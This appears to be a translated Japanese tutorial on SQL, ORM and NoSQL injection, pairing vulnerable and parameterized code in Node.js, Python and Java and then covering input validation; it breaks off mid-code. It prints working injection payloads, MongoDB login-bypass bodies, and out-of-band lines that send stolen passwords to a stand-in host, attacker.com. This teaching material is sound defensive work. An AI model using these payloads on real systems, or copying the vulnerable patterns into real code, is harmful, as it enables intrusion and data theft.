03 - SQL インジェクションと入力検証: バックエンドのセキュリティ
SQL インジェクションは、Web 上で最も古く、最も危険な脆弱性の 1 つです。 1990 年代後半に初めて文書化され、現在でも壊滅的なデータ侵害の中心となっています。Verizon DBIR によると、2024 年に SQL インジェクションやその他の Web アプリケーション攻撃が原因で、 全データ侵害の 26%。 2025 年にはさらに多くのことが予想されます 2,600 CVE SQL インジェクション関連の件数は 2024 年の 2,400 件から増加。
これは従来の SQL クエリだけではありません。今日、脅威は以下にまで広がっています。 ORMインジェクション TypeORM と Prisma については、 NoSQLインジェクション MongoDB に対する攻撃、およびデータベース内にすでに存在するデータを悪用する第 2 世代の攻撃です。この記事では、Node.js、Python、Java の脆弱で安全なコードを含む各亜種を分析し、バックエンドの包括的な防御戦略を提供します。
何を学ぶか
- SQL インジェクションの完全な構造: UNION、ブラインド、時間ベース、エラーベース、アウトオブバンド
- 二次 SQL インジェクション: その仕組みと表面的なチェックを回避する理由
- TypeORM と Prisma への ORM インジェクションとその実践例
- $ne や $regex などの演算子を使用した MongoDB への NoSQL インジェクション
- Node.js、Python、Java のプリペアド ステートメントとパラメータ化されたクエリ
- Zod (Node.js)、Pydantic (Python)、および Bean Validation (Java) による入力検証
- データベースの強化と最小権限の原則
- SQLMap を使用してアプリケーションをテストする方法
- 実際のケーススタディ: MOVEit Transfer、TSA FlyCASS、ResumeLooters
SQL インジェクションの構造
SQL インジェクションは次の場合に発生します。 無効なユーザー入力は SQL クエリに直接連結されますこれにより、攻撃者がクエリ自体のロジックを変更できるようになります。根本的なアーキテクチャ上の問題: データを実行可能コードとして扱うことです。
最も単純なケース、つまり文字列連結でクエリを構築する Node.js のログイン ページを考えてみましょう。
// CODICE VULNERABILE - Node.js con mysql2
const express = require('express');
const mysql = require('mysql2/promise');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// VULNERABILE: concatenazione diretta di input utente
const query = `SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'`;
const [rows] = await db.execute(query);
if (rows.length > 0) {
res.json({ success: true, user: rows[0] });
} else {
res.status(401).json({ error: 'Credenziali non valide' });
}
});
// ATTACCO: username = "admin' --"
// Query risultante:
// SELECT * FROM users
// WHERE username = 'admin' --' AND password = '...'
// Il -- commenta il resto: accesso garantito senza password!
5 種類の SQL インジェクション
1. クラシック / UNION ベース
攻撃者はオペレーターを使用します UNION 最初のクエリの結果に 2 番目のクエリを追加します。アプリケーションの応答にクエリ データを含める必要があります。
-- Payload UNION-based: estrae utenti dalla tabella users
-- Input: id = 1 UNION SELECT username, password, NULL FROM users --
-- Query originale:
SELECT product_name, price, description FROM products WHERE id = 1
-- Query iniettata:
SELECT product_name, price, description FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users --
-- Prerequisito: stesso numero di colonne, tipi compatibili
2. ブラインドブールベース
アプリケーションはデータベース データを表示しませんが、注入された条件の真偽に基づいて動作を変更します (コンテンツの表示または非表示など)。攻撃者は情報を少しずつ推測します。
-- Payload boolean-based: verifica se la prima lettera dell'utente e 'a'
-- Se la pagina risponde normalmente: condizione vera
-- Se la pagina e vuota: condizione falsa
-- Vero (pagina normale):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'
-- Falso (pagina vuota):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='b'
-- Automatizzabile con sqlmap o script custom per estrarre dati carattere per carattere
3.ブラインドタイムベース
アプリケーションが目に見える形で応答を変更しない場合、攻撃者はデータベースに遅延を引き起こす関数を使用して、応答時間から情報を推測します。
-- MySQL: SLEEP() per estrarre informazioni dal timing
-- Se la risposta impiega 5 secondi: condizione vera
-- Se risponde subito: condizione falsa
-- Verifica se il database si chiama 'production':
GET /product?id=1 AND IF(
(SELECT database())='production',
SLEEP(5),
0
) --
-- PostgreSQL equivalente con pg_sleep():
-- id=1; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
-- Microsoft SQL Server:
-- id=1; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
4. エラーベース
攻撃者は、抽出されたデータを含むエラー メッセージをデータベースに生成させます。これは、アプリケーションがユーザーにデータベース エラーを表示する場合に機能します (運用環境向けに適切に構成されていない開発環境で頻繁に構成ミスが発生する場合)。
-- MySQL error-based: extractvalue() genera un errore con il valore estratto
-- id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))
-- Errore restituito all'utente:
-- ERROR 1105 (HY000): XPATH syntax error: '~production_db'
-- L'attaccante ottiene il nome del database dall'errore!
-- PostgreSQL: cast di tipo per forzare errore
-- id=1 AND cast((SELECT version()) as int)
-- Error: invalid input syntax for type integer:
-- "PostgreSQL 15.2 on x86_64-pc-linux-gnu"
5. 帯域外 (OOB)
通常の HTTP 応答ではなく、代替チャネル (DNS ルックアップ、HTTP リクエスト) を介してデータを抽出する高度な技術。インバンドチャネルがブロックされている場合に役立ちます。
-- MySQL OOB via DNS (richiede FILE privilege e outbound DNS):
-- id=1 AND load_file(concat('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))
-- Microsoft SQL Server OOB via HTTP (xp_dirtree o sp_makewebtask):
-- id=1; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '\share'
-- L'attaccante vede la richiesta nei log DNS di attacker.com:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
二次 SQL インジェクション: 隠れた脅威
La 二次SQLインジェクション (またはストアド SQL インジェクション)は、標準のセキュリティ チェックを回避するため、最も危険な脆弱性の 1 つです。ペイロードは挿入後すぐには実行されませんが、 データベースに保存された その後 取得され、後続のクエリで使用されます 適切な消毒を行わずに。
このシナリオは、挿入コードは正しく安全である可能性がありますが、読み取りおよび使用コードは脆弱であるため、特に危険です。表面浸透テストでは見逃されることがよくあります。
// SCENARIO: registrazione utente e cambio password
// FASE 1 - Registrazione (apparentemente sicura con prepared statement)
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Usa prepared statement - sembra sicuro!
await db.execute(
'INSERT INTO users (username, password) VALUES (?, ?)',
[username, hash(password)]
);
// L'attaccante si registra con username: admin'--
// Salvato correttamente nel DB come stringa: admin'--
});
// FASE 2 - Cambio password (VULNERABILE: costruisce query con dato dal DB)
app.post('/change-password', async (req, res) => {
const userId = req.session.userId;
// Recupera username dal DB (sembra "sicuro" perchè viene dal nostro DB)
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username; // = "admin'--"
const { newPassword } = req.body;
// VULNERABILE: concatena username recuperato dal DB
const query = `UPDATE users SET password = '${hash(newPassword)}'
WHERE username = '${username}'`;
// Query risultante:
// UPDATE users SET password = 'newhash' WHERE username = 'admin'--'
// Aggiorna la password dell'admin, non dell'attaccante!
await db.execute(query);
});
// SOLUZIONE: usa parameterized query ANCHE quando i dati vengono dal DB
app.post('/change-password-safe', async (req, res) => {
const userId = req.session.userId;
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username;
const { newPassword } = req.body;
// SICURO: prepared statement anche per dati interni
await db.execute(
'UPDATE users SET password = ? WHERE username = ?',
[hash(newPassword), username]
);
});
二次注入の黄金律
データベースからのデータは常に信頼できないものとして扱います特に最初にユーザーが投稿した場合はそうです。データベースから取得したものだからといって、クエリでの使用が自動的に安全になるわけではありません。データ ソースに関係なく、常にパラメーター化されたクエリを使用してください。
パラメータ化されたクエリ: 主な防御策
I 準備されたステートメント (またはパラメータ化されたクエリ) は、SQL インジェクションに対する最も効果的な対策です。原理は単純です。クエリ構造がデータベースに送信されます。 別途 2 つの異なるフェーズでデータから分析します。データベースはデータを受信する前に実行計画をコンパイルするため、クエリ ロジックを変更することはできません。
mysql2 を使用した Node.js
// SICURO: parameterized queries con mysql2
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
// Opzione di sicurezza: disabilita multiple statements
multipleStatements: false,
});
// Login sicuro
async function loginUser(username, password) {
// Il ? e un placeholder: mysql2 gestisce l'escaping automaticamente
const [rows] = await pool.execute(
'SELECT id, username, role FROM users WHERE username = ? AND password = ?',
[username, hashPassword(password)]
);
return rows[0] || null;
}
// Ricerca con LIKE sicura
async function searchProducts(searchTerm, category, limit = 20) {
// Anche i wildcard % devono essere nel parametro, non nella query
const likeTerm = `%${searchTerm}%`;
const [rows] = await pool.execute(
`SELECT id, name, price FROM products
WHERE name LIKE ? AND category = ?
LIMIT ?`,
[likeTerm, category, limit]
);
return rows;
}
// Inserimento sicuro con validazione
async function createUser(userData) {
const { username, email, password, role = 'user' } = userData;
// Whitelist per il campo role (non parametrizzabile come identifier)
const allowedRoles = ['user', 'moderator'];
if (!allowedRoles.includes(role)) {
throw new Error('Ruolo non valido');
}
const [result] = await pool.execute(
'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
[username, email, hashPassword(password), role]
);
return result.insertId;
}
Python と psycopg2 (PostgreSQL)
# SICURO: parameterized queries con psycopg2
import psycopg2
import psycopg2.extras
from contextlib import contextmanager
@contextmanager
def get_db_connection():
conn = psycopg2.connect(
host=os.environ['DB_HOST'],
database=os.environ['DB_NAME'],
user=os.environ['DB_USER'],
password=os.environ['DB_PASSWORD']
)
try:
yield conn
finally:
conn.close()
def get_user_by_id(user_id: int) -> dict | None:
"""
Usa %s come placeholder (NON f-string o format()).
psycopg2 gestisce l'escaping dei parametri in modo sicuro.
"""
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Corretto: placeholder %s con tupla di parametri
cur.execute(
"SELECT id, username, email, role FROM users WHERE id = %s",
(user_id,) # Nota la virgola: deve essere una tupla
)
return cur.fetchone()
def search_users(filters: dict) -> list[dict]:
"""
Costruzione dinamica sicura di query con parametri multipli.
Evita di costruire SQL dinamico con concatenazione.
"""
conditions = []
params = []
if 'username' in filters:
conditions.append("username ILIKE %s")
params.append(f"%{filters['username']}%")
if 'role' in filters:
# Whitelist per valori enumerati
allowed_roles = {'user', 'admin', 'moderator'}
if filters['role'] not in allowed_roles:
raise ValueError(f"Ruolo non valido: {filters['role']}")
conditions.append("role = %s")
params.append(filters['role'])
where_clause = " AND ".join(conditions) if conditions else "TRUE"
query = f"SELECT id, username, email, role FROM users WHERE {where_clause}"
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute(query, params)
return cur.fetchall()
# SBAGLIATO - Non fare mai questo:
# cur.execute(f"SELECT * FROM users WHERE id = {user_id}") # f-string = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = " + str(user_id)) # concatenazione = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = %s" % user_id) # % formatting = vulnerabile
Java と JDBC PreparedStatement
// SICURO: PreparedStatement con JDBC in Java
import java.sql.*;
import java.util.Optional;
public class UserRepository {
private final DataSource dataSource;
public UserRepository(DataSource dataSource) {
this.dataSource = dataSource;
}
// SICURO: PreparedStatement parametrizzato
public Optional<User> findByUsername(String username) {
String sql = "SELECT id, username, email, role FROM users WHERE username = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username); // Parametro 1-indexed
ResultSet rs = stmt.executeQuery();
if (rs.next()) {
return Optional.of(new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email"),
rs.getString("role")
));
}
return Optional.empty();
} catch (SQLException e) {
throw new DatabaseException("Errore nella ricerca utente", e);
}
}
// Inserimento sicuro con transazione
public long createUser(String username, String email, String passwordHash) {
String sql = "INSERT INTO users (username, email, password_hash, created_at) " +
"VALUES (?, ?, ?, NOW())";
try (Connection conn = dataSource.getConnection()) {
conn.setAutoCommit(false);
try (PreparedStatement stmt = conn.prepareStatement(
sql, Statement.RETURN_GENERATED_KEYS)) {
stmt.setString(1, username);
stmt.setString(2, email);
stmt.setString(3, passwordHash);
stmt.executeUpdate();
conn.commit();
ResultSet keys = stmt.getGeneratedKeys();
if (keys.next()) {
return keys.getLong(1);
}
throw new DatabaseException("Impossibile ottenere ID generato");
} catch (SQLException e) {
conn.rollback();
throw new DatabaseException("Errore creazione utente", e);
}
} catch (SQLException e) {
throw new DatabaseException("Errore connessione database", e);
}
}
// SBAGLIATO - Statement.execute() con concatenazione:
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// stmt.execute(sql); // MAI fare questo!
}
ORM インジェクション: 「安全」だけでは不十分な場合
多くの開発者は、ORM (オブジェクト リレーショナル マッパー) を使用すると SQL インジェクションのリスクが自動的に排除されると誤解しています。実際、2025 年の調査によると、 ORM を使用するアプリケーションの 30% 以上に SQL インジェクションの脆弱性が依然として存在します。 間違った使用パターンが原因です。最も一般的なケースを見てみましょう。
TypeORM: 生のクエリと QueryBuilder
// TypeORM - Pattern VULNERABILI vs SICURI
import { DataSource, Repository } from 'typeorm';
import { User } from './entities/User';
// VULNERABILE 1: query() con interpolazione di stringa
async function findUserVulnerable(username: string) {
const result = await dataSource.query(
`SELECT * FROM users WHERE username = '${username}'`
// Se username = "admin' OR '1'='1", bypass immediato!
);
return result;
}
// SICURO 1: query() con parametri posizionali
async function findUserSafe(username: string) {
const result = await dataSource.query(
'SELECT id, username, email FROM users WHERE username = $1',
[username] // Parametri come array separato
);
return result;
}
// VULNERABILE 2: QueryBuilder con where() e interpolazione
async function searchUserVulnerable(role: string, search: string) {
return await dataSource
.createQueryBuilder(User, 'user')
.where(`user.role = '${role}' AND user.username LIKE '%${search}%'`)
// Interpolazione diretta = SQL injection!
.getMany();
}
// SICURO 2: QueryBuilder con parametri nominati
async function searchUserSafe(role: string, search: string) {
// Whitelist per campi enumerati come role
const allowedRoles = ['user', 'admin', 'moderator'] as const;
if (!allowedRoles.includes(role as any)) {
throw new Error('Ruolo non valido');
}
return await dataSource
.createQueryBuilder(User, 'user')
.where('user.role = :role AND user.username LIKE :search', {
role, // Parametro nominato :role
search: `%${search}%` // Il % viene nel parametro, non nella query
})
.select(['user.id', 'user.username', 'user.email'])
.getMany();
}
// SICURO 3: Repository API (il modo più sicuro con TypeORM)
async function findUsersByRoleSafe(
userRepository: Repository<User>,
role: string
) {
return await userRepository.findBy({ role });
// TypeORM genera automaticamente query parametrizzate
}
// SICURO 4: find() con condizioni complesse
async function findActiveUsersSafe(
userRepository: Repository<User>
) {
return await userRepository.find({
where: {
isActive: true,
role: 'user'
},
select: {
id: true,
username: true,
email: true
},
take: 100 // Limita i risultati
});
}
Prism: $queryRaw のケース
一般に、Prisma は標準クエリに対して安全であると考えられていますが、メソッド $queryRaw e $executeRaw 特別な注意が必要です。 2025 年の研究では、Prisma が攻撃に対して脆弱である可能性があることが示されています 時間ベースの JSON 演算子とデータベース関数を介して。
// Prisma - Pattern VULNERABILI vs SICURI
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// VULNERABILE: $queryRaw con template literal non sicuro
async function getUserVulnerable(userId: string) {
// MAI usare $queryRawUnsafe con input utente!
const result = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE id = ${userId}`
// userId = "1 OR 1=1" bypassa il filtro!
);
return result;
}
// SICURO 1: $queryRaw con tagged template literals
// Prisma parametrizza automaticamente le interpolazioni nel tagged template
async function getUserSafe(userId: number) {
// Nota: usa Prisma.sql template tag, NON stringa normale
const result = await prisma.$queryRaw`
SELECT id, username, email FROM users WHERE id = ${userId}
`;
// Prisma converte ${userId} in un parametro preparato automaticamente
return result;
}
// SICURO 2: Usa l'API standard di Prisma quando possibile
async function getUserWithOrders(userId: number) {
return await prisma.user.findUnique({
where: { id: userId },
select: {
id: true,
username: true,
email: true,
orders: {
where: { status: 'active' },
take: 10
}
}
});
// Completamente sicuro: Prisma genera prepared statements
}
// ATTENZIONE: Prisma findMany con where esposto all'utente
// VULNERABILE: ORM Leak - espone troppi dati
async function searchUsersVulnerable(userFilter: any) {
return await prisma.user.findMany({
where: userFilter, // L'utente controlla il where = ORM Leak!
// Un attaccante può usare: { password: { startsWith: 'a' } }
// Per estrarre la password carattere per carattere (timing attack)
});
}
// SICURO: schema di validazione strict per i filtri
import { z } from 'zod';
const UserSearchSchema = z.object({
username: z.string().max(50).optional(),
email: z.string().email().optional(),
role: z.enum(['user', 'moderator']).optional(),
});
async function searchUsersSafe(rawFilter: unknown) {
// Valida e trasforma il filtro con schema strict
const validFilter = UserSearchSchema.parse(rawFilter);
return await prisma.user.findMany({
where: validFilter, // Solo campi consentiti e validati
select: { // Seleziona esplicitamente i campi
id: true,
username: true,
email: true,
role: true,
},
take: 50,
});
}
NoSQL インジェクション: MongoDB と危険なオペレーター
MongoDB などの NoSQL データベースを使用するアプリケーションは、インジェクションの影響を受けません。 NoSQL 攻撃は クエリ演算子 データベースの (例: $ne, $gt, $regex) クエリロジックを変更します。典型的な攻撃ベクトルは、HTTP リクエスト内の不正な形式の JSON 本文です。
// MongoDB con Mongoose - VULNERABILE
const express = require('express');
const User = require('./models/User');
// VULNERABILE: usa direttamente req.body come query MongoDB
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Se il body e: { "username": { "$ne": null }, "password": { "$ne": null } }
// La query diventa: WHERE username != null AND password != null
// Ritorna il PRIMO utente nel DB, bypass completo!
const user = await User.findOne({ username, password });
if (user) {
res.json({ token: generateToken(user) });
} else {
res.status(401).json({ error: 'Non autorizzato' });
}
});
// Payload di attacco (come JSON body):
// {
// "username": { "$ne": null },
// "password": { "$ne": null }
// }
// Altri payload comuni:
// { "username": { "$regex": ".*" } } -- match qualsiasi username
// { "password": { "$gt": "" } } -- password > stringa vuota (sempre vero)
// { "username": { "$in": ["admin", "root", "administrator"] } }
// MongoDB con Mongoose - SICURO
const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const { z } = require('zod');
const bcrypt = require('bcrypt');
// 1. Middleware globale di sanitizzazione
app.use(mongoSanitize({
replaceWith: '_', // Sostituisce $ con _ negli operatori
onSanitizeError(req, res) {
res.status(400).json({ error: 'Input non valido' });
}
}));
// 2. Schema Zod per validazione strict del tipo
const LoginSchema = z.object({
username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
});
// SICURO: validazione + hashing password + nessuna query con password in chiaro
app.post('/login', async (req, res) => {
try {
// Valida il tipo: username e password DEVONO essere stringhe
const { username, password } = LoginSchema.parse(req.body);
// Cerca per username (stringa validata, non oggetto)
const user = await User.findOne({ username }).select('+password');
if (!user) {
// Tempo di risposta costante per prevenire timing attacks
await bcrypt.compare(password, '$2b$10$placeholder.hash.here.for.timing');
return res.status(401).json({ error: 'Credenziali non valide' });
}
// Verifica password con bcrypt (non in chiaro nel DB)
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: 'Credenziali non valide' });
}
res.json({ token: generateToken(user) });
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ error: 'Formato input non valido' });
}
// Non esporre dettagli dell'errore interno
res.status(500).json({ error: 'Errore del server' });
}
});
// 3. Mongoose schema con strict mode (default: true)
const userSchema = new mongoose.Schema({
username: { type: String, required: true, unique: true },
email: { type: String, required: true },
password: { type: String, required: true, select: false },
role: { type: String, enum: ['user', 'admin', 'moderator'], default: 'user' }
}, {
strict: true, // Ignora campi non definiti nello schema
// sanitizeFilter: true // Mongoose 6+: sanitizza automaticamente i query operator
});
// 4. Usa sanitizeFilter per query che accettano filtri utente
const UserModel = mongoose.model('User', userSchema);
async function findUsersByFilter(rawFilter) {
// sanitizeFilter: true nel modello previene ORM injection
// oppure usa questo approccio esplicito:
return await UserModel.find(rawFilter).sanitizeFilter(true);
}
入力検証: 防御の第一線
パラメータ化されたクエリは SQL インジェクションから保護しますが、入力検証 は最初の防御障壁であり、攻撃対象領域を大幅に減らします。堅牢な検証は次の原則に従います。 ホワイトリスト ブロックリスト (何が禁止されているかを指定) ではなく (何が許可されているかを指定)。
Node.js/TypeScript の Zod
// Input validation con Zod - Node.js/TypeScript
import { z } from 'zod';
// Schema riutilizzabile per parametri comuni
const IdSchema = z.coerce.number().int().positive().max(2147483647);
const PaginationSchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
sortBy: z.enum(['created_at', 'username', 'email']).default('created_at'),
sortOrder: z.enum(['asc', 'desc']).default('desc'),
});
// Schema per creazione utente
const CreateUserSchema = z.object({
username: z
.string()
.min(3, 'Username troppo corto')
.max(50, 'Username troppo lungo')
.regex(/^[a-zA-Z0-9_-]+$/, 'Caratteri non consentiti nell\'username'),
email: z
.string()
.email('Formato email non valido')
.max(255),
password: z
.string()
.min(8, 'Password troppo corta')
.max(128, 'Password troppo lunga')
.regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
'La password deve contenere maiuscole, minuscole, numeri e caratteri speciali'
),
role: z.enum(['user', 'moderator']).default('user'),
});
// Middleware di validazione generico per Express
function validateBody<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Dati non validi',
details: result.error.issues.map(issue => ({
field: issue.path.join('.'),
message: issue.message,
})),
});
}
req.body = result.data; // Sostituisce con dati validati e tipizzati
next();
};
}
function validateQuery<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.query);
if (!result.success) {
return res.status(400).json({
error: 'Parametri query non validi',
details: result.error.issues,
});
}
req.validatedQuery = result.data;
next();
};
}
// Uso nei router
app.post('/api/users',
validateBody(CreateUserSchema),
async (req, res) => {
// req.body e ora tipizzato e validato
const user = await createUser(req.body);
res.status(201).json({ id: user.id });
}
);
app.get('/api/products',
validateQuery(PaginationSchema),
async (req, res) => {
const { page, limit, sortBy, sortOrder } = req.validatedQuery;
const products = await getProducts(page, limit, sortBy, sortOrder);
res.json(products);
}
);
Python/FastAPI 用の Pydantic
# Input validation con Pydantic v2 - Python/FastAPI
from pydantic import BaseModel, Field, field_validator, EmailStr
from typing import Literal
from enum import Enum
import re
class UserRole(str, Enum):
user = "user"
moderator = "moderator"
admin = "admin"
class CreateUserRequest(BaseModel):
username: str = Field(
min_length=3,
max_length=50,
description="Username alfanumerico"
)
email: EmailStr
password: str = Field(min_length=8, max_length=128)
role: UserRole = UserRole.user
@field_validator('username')
@classmethod
def username_alphanumeric(cls, v: str) -> str:
if not re.match(r'^[a-zA-Z0-9_-]+






